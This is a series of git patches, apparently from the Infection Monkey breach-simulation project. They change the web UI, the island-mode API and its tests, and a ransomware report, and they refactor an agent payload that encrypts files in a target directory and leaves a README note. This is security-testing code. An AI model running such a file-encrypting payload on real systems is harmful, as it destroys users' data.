    ) } From a5151a65a320710716266e0a99f9b7e5a52f9220 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 13 Jul 2021 13:14:53 +0200 Subject: [PATCH 1110/1360] ui: Add style to css for RunServerPage --- .../cc/ui/src/components/pages/RunServerPage.js | 6 +++--- .../cc/ui/src/styles/pages/RunServerPage.scss | 8 ++++++++ 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js index 6a0e983dede..db5183a7944 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js @@ -15,8 +15,8 @@ class RunServerPageComponent extends React.Component { return ( -

    Getting Started

    + className={'main getting-started-page'}> +

    Getting Started


    @@ -32,7 +32,7 @@ export default RunServerPageComponent; function HomepageCallToActions() { return ( -
    +
    diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss index e6c1a7497c4..35490caf4e1 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss @@ -1,3 +1,11 @@ +.getting-started-page h1.page-title { + margin-bottom: 0px; +} + #homepage-shortcuts a.d-block { height: 100%; } + +#homepage-shortcuts { + margin-bottom: 20px; +} From 81a8ccf6731650d03d501b2cc7d280935c7f3a51 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 13 Jul 2021 11:17:35 +0200 Subject: [PATCH 1111/1360] Island: Return empty post status for island mode --- monkey/monkey_island/cc/resources/island_mode.py | 6 +++--- .../monkey_island/cc/services/mode/island_mode_service.py | 1 - vulture_allowlist.py | 1 + 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index cf8a3679e8f..889b25a2679 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -18,7 +18,7 @@ def post(self): mode_str = body.get("mode") try: mode = IslandModeEnum(mode_str) - mode_value = set_mode(mode) - return make_response({"status": "MODE_FOUND", "mode": mode_value}, 200) + set_mode(mode) + return make_response({}, 200) except ValueError: - return make_response({"status": "MODE_NOT_FOUND"}, 404) + return make_response({}, 404) diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py index 75041d2c18c..05195e301cb 100644 --- a/monkey/monkey_island/cc/services/mode/island_mode_service.py +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -6,4 +6,3 @@ def set_mode(mode: IslandModeEnum): island_mode_model = IslandMode() island_mode_model.mode = mode.value island_mode_model.save() - return mode.value diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 618fabaa63c..5a430dc6c9a 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -171,6 +171,7 @@ import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 exception_stream # unused attribute (monkey_island/cc/server_setup.py:104) +ADVANCED # unused attribute (monkey/monkey_island/cc/services/mode/mode_enum.py:6:) # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 9310463f44886a72c542452c6f10214177892ed0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 13 Jul 2021 12:27:00 +0200 Subject: [PATCH 1112/1360] UT: Refactor island mode test for set model --- .../monkey_island/cc/resources/conftest.py | 13 ------------- .../monkey_island/cc/resources/test_island_mode.py | 11 +++++++---- 2 files changed, 7 insertions(+), 17 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py index 2421e00aa3a..0e82fe16363 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py @@ -1,13 +1,11 @@ import flask_jwt_extended import flask_restful -import mongoengine import pytest from flask import Flask import monkey_island.cc.app import monkey_island.cc.resources.auth.auth import monkey_island.cc.resources.island_mode -from monkey_island.cc.models.island_mode_model import IslandMode from monkey_island.cc.services.representations import output_json @@ -32,14 +30,3 @@ def mock_init_app(): monkey_island.cc.app.init_api_resources(api) return app - - -@pytest.fixture(scope="module", autouse=True) -def fake_mongo(): - mongoengine.disconnect() - mongoengine.connect("mongoenginetest", host="mongomock://localhost") - - -@pytest.fixture(scope="function") -def uses_database(): - IslandMode.objects().delete() diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index 13ded4799df..5c4362c6414 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -5,6 +5,11 @@ from monkey_island.cc.models.island_mode_model import IslandMode +@pytest.fixture(scope="function") +def uses_database(): + IslandMode.objects().delete() + + def test_island_mode_post(flask_client): resp = flask_client.post( "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True @@ -19,16 +24,14 @@ def test_island_mode_post__invalid_mode(flask_client): assert resp.status_code == 404 -@pytest.mark.usefixtures("uses_database") -def test_island_mode_post__set_model(flask_client): +def test_island_mode_post__set_model(flask_client, uses_database): flask_client.post( "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True ) assert IslandMode.objects[0].mode == "ransomware" -@pytest.mark.usefixtures("uses_database") -def test_island_mode_post__set_invalid_model(flask_client): +def test_island_mode_post__set_invalid_model(flask_client, uses_database): flask_client.post( "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True ) From c56ca37bc0c2ec8990f5d2a4bdada8a43a2a133e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 10:09:53 -0400 Subject: [PATCH 1113/1360] Island: Respond with 422 instead of 404 from POST /api/island-mode --- monkey/monkey_island/cc/resources/island_mode.py | 2 +- .../unit_tests/monkey_island/cc/resources/test_island_mode.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 889b25a2679..dd51d9fdbc0 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -21,4 +21,4 @@ def post(self): set_mode(mode) return make_response({}, 200) except ValueError: - return make_response({}, 404) + return make_response({}, 422) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index 5c4362c6414..91c6d043511 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -21,7 +21,7 @@ def test_island_mode_post__invalid_mode(flask_client): resp = flask_client.post( "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True ) - assert resp.status_code == 404 + assert resp.status_code == 422 def test_island_mode_post__set_model(flask_client, uses_database): From acdfeb858f3246b156ba21addb96d6eb802bf9fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 10:30:38 -0400 Subject: [PATCH 1114/1360] Tests: Move raise_() to a reusable location --- .../monkey_island/cc/services/test_post_breach_files.py | 5 +---- monkey/tests/utils.py | 4 ++++ 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py index 5a2ddaa17c4..90a649a391c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py @@ -2,15 +2,12 @@ import pytest from tests.monkey_island.utils import assert_windows_permissions +from tests.utils import raise_ from monkey_island.cc.server_utils.file_utils import is_windows_os from monkey_island.cc.services.post_breach_files import PostBreachFilesService -def raise_(ex): - raise ex - - @pytest.fixture(autouse=True) def custom_pba_directory(tmpdir): PostBreachFilesService.initialize(tmpdir) diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py index 2be032aad47..8aea2d00767 100644 --- a/monkey/tests/utils.py +++ b/monkey/tests/utils.py @@ -18,3 +18,7 @@ def hash_file(filepath: Path): sha256.update(block) return sha256.hexdigest() + + +def raise_(ex): + raise ex From bf5ff8dc71801510b6d8c8ce25e52c3ce61ec813 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 13 Jul 2021 16:32:32 +0200 Subject: [PATCH 1115/1360] ui: Rename RunServerPage to GettingStartedPage --- monkey/monkey_island/cc/ui/src/components/Main.js | 4 ++-- .../pages/{RunServerPage.js => GettingStartedPage.js} | 6 +++--- .../pages/{RunServerPage.scss => GettingStartedPage.scss} | 0 3 files changed, 5 insertions(+), 5 deletions(-) rename monkey/monkey_island/cc/ui/src/components/pages/{RunServerPage.js => GettingStartedPage.js} (93%) rename monkey/monkey_island/cc/ui/src/styles/pages/{RunServerPage.scss => GettingStartedPage.scss} (100%) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index b5fc5f60675..dc1e063ffd8 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -2,7 +2,7 @@ import React from 'react'; import {BrowserRouter as Router, Redirect, Route, Switch} from 'react-router-dom'; import {Container} from 'react-bootstrap'; -import RunServerPage from 'components/pages/RunServerPage'; +import GettingStartedPage from 'components/pages/GettingStartedPage'; import ConfigurePage from 'components/pages/ConfigurePage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; @@ -136,7 +136,7 @@ class AppComponent extends AuthComponent { ()}/> ()}/> {this.renderRoute('/', - , diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js similarity index 93% rename from monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js index db5183a7944..5fc910598a5 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js @@ -4,9 +4,9 @@ import {Link} from 'react-router-dom'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faPlayCircle} from '@fortawesome/free-regular-svg-icons'; import {faBookOpen, faCogs} from '@fortawesome/free-solid-svg-icons'; -import '../../styles/pages/RunServerPage.scss'; +import '../../styles/pages/GettingStartedPage.scss'; -class RunServerPageComponent extends React.Component { +class GettingStartedPageComponent extends React.Component { constructor(props) { super(props); } @@ -28,7 +28,7 @@ class RunServerPageComponent extends React.Component { } } -export default RunServerPageComponent; +export default GettingStartedPageComponent; function HomepageCallToActions() { return ( diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss similarity index 100% rename from monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss rename to monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss From 7549e64b413387ebec3400b4ea2589580c468ec7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 10:46:47 -0400 Subject: [PATCH 1116/1360] Island: Return 500 from POST /api/island-mode if unexpected exception --- monkey/monkey_island/cc/resources/island_mode.py | 2 ++ .../monkey_island/cc/resources/test_island_mode.py | 11 +++++++++++ 2 files changed, 13 insertions(+) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index dd51d9fdbc0..b69b399c08f 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -22,3 +22,5 @@ def post(self): return make_response({}, 200) except ValueError: return make_response({}, 422) + except Exception: + return make_response({}, 500) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index 91c6d043511..df4e9c25a27 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -1,8 +1,10 @@ import json import pytest +from tests.utils import raise_ from monkey_island.cc.models.island_mode_model import IslandMode +from monkey_island.cc.resources import island_mode as island_mode_resource @pytest.fixture(scope="function") @@ -24,6 +26,15 @@ def test_island_mode_post__invalid_mode(flask_client): assert resp.status_code == 422 +def test_island_mode_post__internal_server_error(monkeypatch, flask_client): + monkeypatch.setattr(island_mode_resource, "set_mode", lambda x: raise_(Exception())) + + resp = flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True + ) + assert resp.status_code == 500 + + def test_island_mode_post__set_model(flask_client, uses_database): flask_client.post( "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True From 26d3782a666db22095f01182f469a350d2961a73 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 10:49:15 -0400 Subject: [PATCH 1117/1360] Island: Test both "ransomware" and "advanced" modes --- .../monkey_island/cc/resources/test_island_mode.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index df4e9c25a27..9bd4d8dd30b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -12,9 +12,10 @@ def uses_database(): IslandMode.objects().delete() -def test_island_mode_post(flask_client): +@pytest.mark.parametrize("mode", ["ransomware", "advanced"]) +def test_island_mode_post(flask_client, mode): resp = flask_client.post( - "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True + "/api/island-mode", data=json.dumps({"mode": mode}), follow_redirects=True ) assert resp.status_code == 200 From a0fb6fa2b69378b4d2e011d9ef29301036b59e1c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 10:58:08 -0400 Subject: [PATCH 1118/1360] Island: Return 400 from POST /api/island_mode on invalid JSON --- monkey/monkey_island/cc/resources/island_mode.py | 8 ++++++-- .../monkey_island/cc/resources/test_island_mode.py | 6 ++++++ 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index b69b399c08f..5a83fb46a3a 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -14,12 +14,16 @@ class IslandMode(flask_restful.Resource): @jwt_required def post(self): - body = json.loads(request.data) - mode_str = body.get("mode") try: + body = json.loads(request.data) + mode_str = body.get("mode") + mode = IslandModeEnum(mode_str) set_mode(mode) + return make_response({}, 200) + except (AttributeError, json.decoder.JSONDecodeError): + return make_response({}, 400) except ValueError: return make_response({}, 422) except Exception: diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index 9bd4d8dd30b..b8d6a84c2f7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -27,6 +27,12 @@ def test_island_mode_post__invalid_mode(flask_client): assert resp.status_code == 422 +@pytest.mark.parametrize("invalid_json", ["42", "{test"]) +def test_island_mode_post__invalid_json(flask_client, invalid_json): + resp = flask_client.post("/api/island-mode", data="{test", follow_redirects=True) + assert resp.status_code == 400 + + def test_island_mode_post__internal_server_error(monkeypatch, flask_client): monkeypatch.setattr(island_mode_resource, "set_mode", lambda x: raise_(Exception())) From 84a78a5048797db91556729000555cff5692fd78 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 11:02:18 -0400 Subject: [PATCH 1119/1360] Island: Don't catch Exception in POST /api/island-mode Flask automatically traps exceptions, returns a 500, and logs a stack trace. Since Flask will automatically return a 500, we don't need to duplicate the functionality. Since it prints a stack trace, it provides more useful information than catching it did. --- monkey/monkey_island/cc/resources/island_mode.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 5a83fb46a3a..51df90e2d3f 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -26,5 +26,3 @@ def post(self): return make_response({}, 400) except ValueError: return make_response({}, 422) - except Exception: - return make_response({}, 500) From 1f1b9bf2fcca6fadc565c05b6ad978daaa847670 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 11:21:56 -0400 Subject: [PATCH 1120/1360] Island: Deduplicate

    in renderFileEncryptionStats() --- .../common/RenderFileEncryptionStats.tsx | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx index 7e5853c14ac..fb6c612a9fb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx @@ -2,11 +2,14 @@ import React from 'react'; function renderFileEncryptionStats(successful: number, total: number) { - if(successful > 0){ - return (

    {successful} out of {total}

    ); + let textClassName = "" + if(successful > 0) { + textClassName = "text-success" } else { - return (

    {successful} out of {total}

    ); + textClassName = "text-danger" } + + return (

    {successful} out of {total}

    ); } export default renderFileEncryptionStats; From 77754cb4ff111231734225d4d119ceba9e611182 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 11:23:48 -0400 Subject: [PATCH 1121/1360] Island: Remove superfluous description from ransomware report --- .../report-components/RansomwareReport.js | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index adda1f2e09c..688d3cc67eb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -24,18 +24,13 @@ class RansomwareReport extends React.Component { getExploitationStats() { return ( - <> -

    - This report shows information about the ransomware simulation run by Infection Monkey. -

    -
    -

    - Propagation -

    - {this.getScannedVsExploitedStats()} - {this.getExploitationStatsPerExploit()} -
    - +
    +

    + Propagation +

    + {this.getScannedVsExploitedStats()} + {this.getExploitationStatsPerExploit()} +
    ) } From 5aa5facf1f58a0a2e063e352e84df4e5f86b4965 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 11:26:07 -0400 Subject: [PATCH 1122/1360] Island: Move renderFileEncryptionStats to FileEncryptionTable.tsx --- .../common/RenderFileEncryptionStats.tsx | 15 --------------- .../ransomware/FileEncryptionTable.tsx | 13 ++++++++++++- 2 files changed, 12 insertions(+), 16 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx deleted file mode 100644 index fb6c612a9fb..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderFileEncryptionStats.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import React from 'react'; - - -function renderFileEncryptionStats(successful: number, total: number) { - let textClassName = "" - if(successful > 0) { - textClassName = "text-success" - } else { - textClassName = "text-danger" - } - - return (

    {successful} out of {total}

    ); -} - -export default renderFileEncryptionStats; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx index 8be659eabf2..270b214a010 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx @@ -1,7 +1,6 @@ import React from 'react'; import ReactTable from 'react-table'; import {renderArray} from '../common/RenderArrays'; -import renderFileEncryptionStats from "../common/renderFileEncryptionStats"; type Props = { @@ -51,5 +50,17 @@ const columns = [ } ]; +function renderFileEncryptionStats(successful: number, total: number) { + let textClassName = '' + + if(successful > 0) { + textClassName = 'text-success' + } else { + textClassName = 'text-danger' + } + + return (

    {successful} out of {total}

    ); +} + export default FileEncryptionTable; From 5fe7a9d2046c7247013cdd640d09b5d4d21f9979 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 13 Jul 2021 18:26:11 +0200 Subject: [PATCH 1123/1360] Island: Add inital get method to island mode --- monkey/monkey_island/cc/resources/island_mode.py | 10 +++++++++- .../cc/services/mode/island_mode_service.py | 5 +++++ .../cc/resources/test_island_mode.py | 15 +++++++++++++++ 3 files changed, 29 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 51df90e2d3f..77e1e6953a5 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -5,7 +5,7 @@ from flask import make_response, request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.mode.island_mode_service import set_mode +from monkey_island.cc.services.mode.island_mode_service import get_mode, set_mode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum logger = logging.getLogger(__name__) @@ -26,3 +26,11 @@ def post(self): return make_response({}, 400) except ValueError: return make_response({}, 422) + + @jwt_required + def get(self): + try: + island_mode = get_mode() + return make_response({"mode": island_mode}, 200) + except IndexError: + return make_response({}, 422) diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/island_mode_service.py index 05195e301cb..e850c64a72d 100644 --- a/monkey/monkey_island/cc/services/mode/island_mode_service.py +++ b/monkey/monkey_island/cc/services/mode/island_mode_service.py @@ -6,3 +6,8 @@ def set_mode(mode: IslandModeEnum): island_mode_model = IslandMode() island_mode_model.mode = mode.value island_mode_model.save() + + +def get_mode(): + mode = IslandMode.objects[0].mode + return mode diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py index b8d6a84c2f7..c06c6f62efd 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -54,3 +54,18 @@ def test_island_mode_post__set_invalid_model(flask_client, uses_database): "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True ) assert len(IslandMode.objects) == 0 + + +@pytest.mark.parametrize("mode", ["ransomware", "advanced"]) +def test_island_mode_get(flask_client, uses_database, mode): + flask_client.post("/api/island-mode", data=json.dumps({"mode": mode}), follow_redirects=True) + resp = flask_client.get("/api/island-mode", follow_redirects=True) + assert json.loads(resp.data)["mode"] == mode + + +def test_island_mode_get__invalid_mode(flask_client, uses_database): + flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "bogus_mode"}), follow_redirects=True + ) + resp = flask_client.get("/api/island-mode", follow_redirects=True) + assert resp.status_code == 422 From 50cb68776956f4131bab1282ee81f7354dec8c79 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 12:09:47 -0400 Subject: [PATCH 1124/1360] Island: Change colors of ransomware table text If some files were encrypted, warning text color should be used. If all files were encrypted, danger text color should be used. --- .../report-components/ransomware/FileEncryptionTable.tsx | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx index 270b214a010..cfb9ab3f337 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx @@ -54,9 +54,13 @@ function renderFileEncryptionStats(successful: number, total: number) { let textClassName = '' if(successful > 0) { - textClassName = 'text-success' + if (successful === total) { + textClassName = 'text-danger' + } else { + textClassName = 'text-warning' + } } else { - textClassName = 'text-danger' + textClassName = 'text-success' } return (

    {successful} out of {total}

    ); From 45a382f5ff49f4858e565c18cb5b10b8a6c38ab0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 12:36:03 -0400 Subject: [PATCH 1125/1360] Add #1240 to CHANGELOG --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index d0f5d3638fe..7c4f8721691 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - A ransomware simulation payload. #1238 - The capability for a user to specify their own SSL certificate. #1208 - API endpoint for ransomware report. #1297 +- Add ransomware report. #1240 ### Changed - server_config.json can be selected at runtime. #963 From 222c394dbcf71e51036caf0e5984f22a895f1af3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 13 Jul 2021 16:17:26 -0400 Subject: [PATCH 1126/1360] Agent: Accept a "leave_readme" Callable instead of copy_file --- monkey/infection_monkey/monkey.py | 6 +- .../ransomware/ransomware_payload.py | 24 +------- .../ransomware/readme_utils.py | 22 +++++++ monkey/tests/conftest.py | 2 +- monkey/tests/data_for_tests/test_readme.txt | 1 + .../ransomware/test_ransomware_payload.py | 57 ++++++++++--------- .../ransomware/test_readme_utils.py | 32 +++++++++++ 7 files changed, 92 insertions(+), 52 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/readme_utils.py create mode 100644 monkey/tests/data_for_tests/test_readme.txt create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_utils.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e89b9ab2c68..ca6976f9172 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -1,7 +1,6 @@ import argparse import logging import os -import shutil import subprocess import sys import time @@ -20,6 +19,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.ransomware import readme_utils from infection_monkey.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -478,7 +478,9 @@ def run_ransomware(): try: RansomwarePayload( - WormConfiguration.ransomware, batching_telemetry_messenger, shutil.copyfile + WormConfiguration.ransomware, + readme_utils.leave_readme, + batching_telemetry_messenger, ).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f4295f866da..b8f0d88057e 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -24,8 +24,8 @@ class RansomwarePayload: def __init__( self, config: dict, + leave_readme: Callable[[Path, Path], None], telemetry_messenger: ITelemetryMessenger, - copy_file: Callable[[Path, Path], None], ): LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") @@ -38,7 +38,7 @@ def __init__( self._targeted_file_extensions.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) - self._copy_file = copy_file + self._leave_readme = leave_readme self._telemetry_messenger = telemetry_messenger @staticmethod @@ -66,7 +66,7 @@ def run_payload(self): self._encrypt_files(file_list) if self._readme_enabled: - self._leave_readme() + self._leave_readme(README_SRC, self._target_dir / README_DEST) def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") @@ -97,21 +97,3 @@ def _add_extension(self, filepath: Path): def _send_telemetry(self, filepath: Path, success: bool, error: str): encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) - - def _leave_readme(self): - - readme_dest_path = self._target_dir / README_DEST - - if readme_dest_path.exists(): - LOG.warning(f"{readme_dest_path} already exists, not leaving a new README.txt") - return - - self._copy_readme_file(readme_dest_path) - - def _copy_readme_file(self, dest: Path): - LOG.info(f"Leaving a ransomware README file at {dest}") - - try: - self._copy_file(README_SRC, dest) - except Exception as ex: - LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/infection_monkey/ransomware/readme_utils.py b/monkey/infection_monkey/ransomware/readme_utils.py new file mode 100644 index 